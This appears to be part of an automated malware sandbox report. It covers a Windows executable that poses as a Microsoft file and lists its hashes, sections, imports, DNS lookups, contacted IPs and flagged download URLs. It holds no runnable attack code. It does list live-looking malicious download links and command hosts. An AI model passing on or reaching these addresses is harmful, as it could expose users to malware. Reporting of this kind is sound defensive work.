    "021404ae7ed34c62769bc54bbab242b6_e47c61d2-1dae-480e-827a-ae8d797649df.221156" has type "data"
    "VB12.pip.366812" has type "data"
    "368968.cvr.368968" has type "data"
    "369281.od.369281" has type "ASCII text, with CRLF line terminators"

    source

    Extracted File

    relevance

    3/10

• Network Related
  • Found potential URL in binary/memory

    details

    Pattern match: "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab"

    source

    String

    relevance

    10/10

DNS Requests

Domain	Address	Registrar	Country
jjcoll.in	198.12.152.113	-	United States

Contacted Hosts

IP Address	Port/Protocol	Associated Process	Details
198.12.152.113 OSINT Associated Artifacts for 198.12.152.113 Details Associated URL Threat Level Positives Scan Date Reference Associated URL http://jjcoll.in/56gf/g545.exe Threat Level malicious Positives 3/66 Scan Date 01/29/2016 10:09:36 Reference - http://jjcoll.in/56gf/g545.exe malicious 3/66 01/29/2016 10:09:36 - Associated URL http://jjcoll.in/ Threat Level malicious Positives 4/66 Scan Date 01/29/2016 10:07:17 Reference - http://jjcoll.in/ malicious 4/66 01/29/2016 10:07:17 - Associated URL http://jjcoll.in/book_ex.php Threat Level malicious Positives 5/66 Scan Date 01/27/2016 19:11:46 Reference - http://jjcoll.in/book_ex.php malicious 5/66 01/27/2016 19:11:46 - Associated URL http://jjcoll.in/IT_24.08.15.php Threat Level malicious Positives 5/66 Scan Date 01/14/2016 12:18:12 Reference - http://jjcoll.in/IT_24.08.15.php malicious 5/66 01/14/2016 12:18:12 - Associated URL http://jjcoll.in/it_24.08.15.php Threat Level malicious Positives 4/66 Scan Date 01/12/2016 20:40:53 Reference - http://jjcoll.in/it_24.08.15.php malicious 4/66 01/12/2016 20:40:53 - Details Domain Threat Level Positives Last Resolved Reference Domain mariyaplywoods.com Threat Level - Positives - Last Resolved 11/28/2015 00:00:00 VirusTotal Report mariyaplywoods.com - - 11/28/2015 00:00:00 Report Domain innovatex.in Threat Level - Positives - Last Resolved 08/24/2015 00:00:00 VirusTotal Report innovatex.in - - 08/24/2015 00:00:00 Report Domain www.outdooradvertisingagencies.com Threat Level - Positives - Last Resolved 07/07/2015 00:00:00 VirusTotal Report www.outdooradvertisingagencies.com - - 07/07/2015 00:00:00 Report Domain www.myssgreen.com Threat Level - Positives - Last Resolved 05/21/2015 00:00:00 VirusTotal Report www.myssgreen.com - - 05/21/2015 00:00:00 Report Domain dressclusive.com Threat Level - Positives - Last Resolved 05/17/2015 00:00:00 VirusTotal Report dressclusive.com - - 05/17/2015 00:00:00 Report	80 TCP	-	United States ASN: 26496 (GoDaddy.com, LLC)
85.143.166.200 OSINT Associated Artifacts for 85.143.166.200 Details Associated SHA256 Threat Level Positives Scan Date Reference Associated SHA256 ab8fc800b3974b0b41bf6a5d74bb6932239c27a1a95cd4c128af2057b6909a5f Threat Level malicious Positives 2/54 Scan Date 01/29/2016 10:11:14 Reference VirusTotal ab8fc800b3974b0b41bf6a5d74bb6932239c27a1a95cd4c128af2057b6909a5f malicious 2/54 01/29/2016 10:11:14 VirusTotal Details Domain Threat Level Positives Last Resolved Reference Domain kchoc.ru Threat Level - Positives - Last Resolved 01/06/2016 00:00:00 VirusTotal Report kchoc.ru - - 01/06/2016 00:00:00 Report Domain www.kchoc.ru Threat Level - Positives - Last Resolved 12/31/2015 00:00:00 VirusTotal Report www.kchoc.ru - - 12/31/2015 00:00:00 Report Domain mineralplus.ru Threat Level - Positives - Last Resolved 10/17/2015 00:00:00 VirusTotal Report mineralplus.ru - - 10/17/2015 00:00:00 Report Domain mineralrussia.ru Threat Level - Positives - Last Resolved 10/13/2015 00:00:00 VirusTotal Report mineralrussia.ru - - 10/13/2015 00:00:00 Report Domain plusmontage.ru Threat Level - Positives - Last Resolved 10/13/2015 00:00:00 VirusTotal Report plusmontage.ru - - 10/13/2015 00:00:00 Report	1743 TCP	-	Russian Federation ASN: 56534 (PIRIX, ltd)

HTTP Traffic

• Malicious 2

• • g545[1].exe

    Download Disabled Extended File Details VirusTotal Report Extracted Streams Hash Seen Before

    Size

    215KiB (219648 bytes)

    Type

    PE32 executable (console) Intel 80386, for MS Windows

    AV Scan Result

    Labeled as "QVM20.1.Malware" (2/54)

    MD5

    d88c2bed761c7384d0e8657477af9da7

    SHA1

    d3fe6e30572457bd8ce5b5258b0e7eb7e5689a10

    SHA256

    ab8fc800b3974b0b41bf6a5d74bb6932239c27a1a95cd4c128af2057b6909a5f

  Extended File Details

  g545[1].exe

  Filename

  g545[1].exe

  Size

  215KiB (219648 bytes)

  Type

  PE32 executable (console) Intel 80386, for MS Windows

  Architecture

  32 Bit

  MD5

  d88c2bed761c7384d0e8657477af9da7

  SHA1

  d3fe6e30572457bd8ce5b5258b0e7eb7e5689a10

  SHA256

  ab8fc800b3974b0b41bf6a5d74bb6932239c27a1a95cd4c128af2057b6909a5f

  SHA512

  27fca6eb19b322fa52603da04cbd7ce738c51862219f63323a2003aa772b894e7959dfafd16304cbcf2eba9d77c4047d57eff74d47d74172dc9ce01bbed9c4e6

  ssdeep

  3072:TH8HmyOTBO4vKajNMPWqgVuLcXIwAlEp3TygMUJVYYPwCx:bx5MajlVAcYwAemgMWwC

  imphash

  fd111c31534d28d04de5bf9876f1c41f

  authentihash

  369183826ece0f11d2ce682fea019a5d084279d031e869e4b1cffe2bde0676cc

  Compiler/Packer

  Microsoft Visual C++ V8.0 (Debug)

  Version Info

  LegalCopyright

  Microsoft Corporation. All rights reserved.

  InternalName

  RunLegacyCPLElevated

  FileVersion

  6.3.7603.16385 (win7_rtm.090713-1255)

  CompanyName

  Microsoft Corporation

  ProductName

  Microsoft Windows Operating System

  ProductVersion

  6.3.7603.16385

  FileDescription

  Run a legacy CPL elevated

  OriginalFilename

  RunLegacyCPLElevated.EXE

  Translation

  0x0409 0x04b0

  File Sections

  Details	Name	Entropy	Virtual Address	Virtual Size	Raw Size	MD5
  Name .text Entropy 5.00204922369 Virtual Address 0x1000 Virtual Size 0xbda5 Raw Size 0xbe00 MD5 d2dc77d5487a51e5fc2dfbaea755d90f	.text	5.00204922369	0x1000	0xbda5	0xbe00	d2dc77d5487a51e5fc2dfbaea755d90f
  Name .rdata Entropy 1.85885084356 Virtual Address 0xd000 Virtual Size 0x252 Raw Size 0x400 MD5 5b0b5b3ca24572bf56bdf1ab7f41ec4e	.rdata	1.85885084356	0xd000	0x252	0x400	5b0b5b3ca24572bf56bdf1ab7f41ec4e
  Name .data Entropy 1.99064793608 Virtual Address 0xe000 Virtual Size 0x1f74 Raw Size 0xa00 MD5 2d606028eec2decaffbc49de77709d38	.data	1.99064793608	0xe000	0x1f74	0xa00	2d606028eec2decaffbc49de77709d38
  Name .idata Entropy 2.7521044454 Virtual Address 0x10000 Virtual Size 0x723 Raw Size 0x800 MD5 e9ca1d1f0c71614eff3d8c159cc1622a	.idata	2.7521044454	0x10000	0x723	0x800	e9ca1d1f0c71614eff3d8c159cc1622a
  Name n_yv Entropy 5.92844255047 Virtual Address 0x11000 Virtual Size 0xa664 Raw Size 0xa800 MD5 3c92df578eb8135ba82f01c19c5165ba	n_yv	5.92844255047	0x11000	0xa664	0xa800	3c92df578eb8135ba82f01c19c5165ba
  Name hSho Entropy 6.38534290029 Virtual Address 0x1c000 Virtual Size 0x8e18 Raw Size 0x9000 MD5 59d956e1d83c8dd1318684a5a5dc6b34	hSho	6.38534290029	0x1c000	0x8e18	0x9000	59d956e1d83c8dd1318684a5a5dc6b34
  Name yzA0 Entropy 5.84108505974 Virtual Address 0x25000 Virtual Size 0x8bde Raw Size 0x8c00 MD5 c364b62cbfcd7be87647f2221595a972	yzA0	5.84108505974	0x25000	0x8bde	0x8c00	c364b62cbfcd7be87647f2221595a972
  Name .rsrc Entropy 6.22350226208 Virtual Address 0x2e000 Virtual Size 0xbd20 Raw Size 0xbe00 MD5 6ded67bdf4599d7a9dc6f50988181950	.rsrc	6.22350226208	0x2e000	0xbd20	0xbe00	6ded67bdf4599d7a9dc6f50988181950

  File Imports

  • CLUSAPI.dll
  • KERNEL32.dll
  • msvcrt.dll
  • ntdll.dll
  • OLEAUT32.dll
  • pdh.dll
  • USER32.dll

  ClusterNetworkEnum

  CreateHardLinkW

  DisconnectNamedPipe

  EnumUILanguagesA

  FillConsoleOutputCharacterA

  FoldStringW

  FreeConsole

  GetCommProperties

  GetCPInfoExW

  GetEnvironmentStrings

  GetProfileStringA

  GetVolumeNameForVolumeMountPointW

  GetWriteWatch

  is_wctype

  putwc

  _chkstk

  isdigit

  memmove

  sin

  strcat

  strtoul

  VarCyRound (Ordinal #310)

  PdhCalculateCounterFromRawValue

  PdhOpenQueryA

  MessageBoxA

  ScreenToClient

  • perdoma.exe

    Download Disabled VirusTotal Report Extracted Streams Hash Seen Before

    Size

    215KiB (219648 bytes)

    Type

    PE32 executable (console) Intel 80386, for MS Windows

    AV Scan Result

    Labeled as "QVM20.1.Malware" (2/54)

    MD5

    d88c2bed761c7384d0e8657477af9da7

    SHA1

    d3fe6e30572457bd8ce5b5258b0e7eb7e5689a10

    SHA256

    ab8fc800b3974b0b41bf6a5d74bb6932239c27a1a95cd4c128af2057b6909a5f